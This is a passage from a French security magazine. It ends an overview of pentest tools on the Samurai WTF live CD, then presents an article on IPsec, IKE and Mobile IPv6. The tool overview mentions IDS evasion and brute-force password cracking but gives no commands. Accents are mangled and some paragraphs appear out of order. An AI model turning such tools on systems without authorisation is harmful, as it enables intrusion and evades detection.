WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

